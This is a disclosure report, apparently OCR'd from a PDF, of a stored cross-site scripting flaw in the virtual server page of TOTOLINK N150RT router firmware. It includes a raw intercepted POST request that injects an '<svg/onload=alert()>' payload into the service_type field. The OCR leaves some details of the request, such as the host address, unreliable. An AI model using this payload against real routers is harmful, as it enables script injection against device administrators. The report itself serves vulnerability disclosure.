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TOTOLINK N150RT XSS Vulnerability (Virtual
Server)

Description

TOTOLINK N150RT V2_Firmware V3.4.0-B20190525 contains a Store Cross-site scripting (XSS)
vulnerability in virtual server under the Firewall Page.

TOTOLINK N150RT version information

e Device : TOTOLINK N150RT
e Firmware Version : N150RT V2_Firmware V3.4.0-B20190525

e Manufacturer's website information . https://www.totolink.net/

e Firmware download address .
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/153/ids/36.html

Vulnerability information

In the settings under the Firewall page, there is an option called virtual Server . Thereis a
Store Cross-site scripting vulnerability in service Type input box.
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Firstly, we click the Add button onthe virtual Server page.
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Then we can see the portfw.htm page.
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The portfw.htm page will check the value of service Type , but it does not check on the server,
So we use BurpSuite to bypass.

We fill in information as shown in the figure below. Then click the send button to send the
request.
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Request Response

Pretty Raw Hex w0 n = Selection 28 (Ox1c) ~

1 POST /boafrm/formPortPw HTTP/1.1 |

2 Host: 182.168.1.1 = =8

= User-Agent: Mozilla/S.@ (X11; Ubuntu; Linux x86_84; rv:136.0) s3csvgh2fonloads3dalert ()%3e
Gecko/20100101 Firefox/1356.0

4 Accept:
text/html, application/xhtml+xml, application/xml;q=0.9,*/%;q=0.8 g ®

5 Accept-lLanguage: en-US,en;q=0.5

5 Accept-Encoding: gzip, deflate, br

7 Content-Type: application/x-www-form-urlencoded
g Content-Length: 149

o Origin: http://192.168.1.1

10 Connmection: keep-alive
tp://192.168.1.1/portfw.htm Request attributes 2

11
12 Upgrade-Insecure-Requests: 1
1= Priority: u=0, 1 Request query parameters, [} v
14
changlist=0&service_type=%3csvg%2fonload%s3dalert ()%3stexternal_port=
15 g _typ g 0 _P! Request body parameters 9 v

23361nternal_port=2323&1p_subnet=192.168.1.&fw_1p=2&fw_protocol=1&

addPortFw=apply&submit-url=s2Fportfw.htm
Request cookies [} ~

Request headers 12 ~
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@ Memory: 325.1MB

Once the request is sent, we refresh the virtual server page.Then the web site will execute
the javascript we just inputted. This is a Store Cross-site scripting vulnerability, if someone else
visits the page, the javascript will also be executed.
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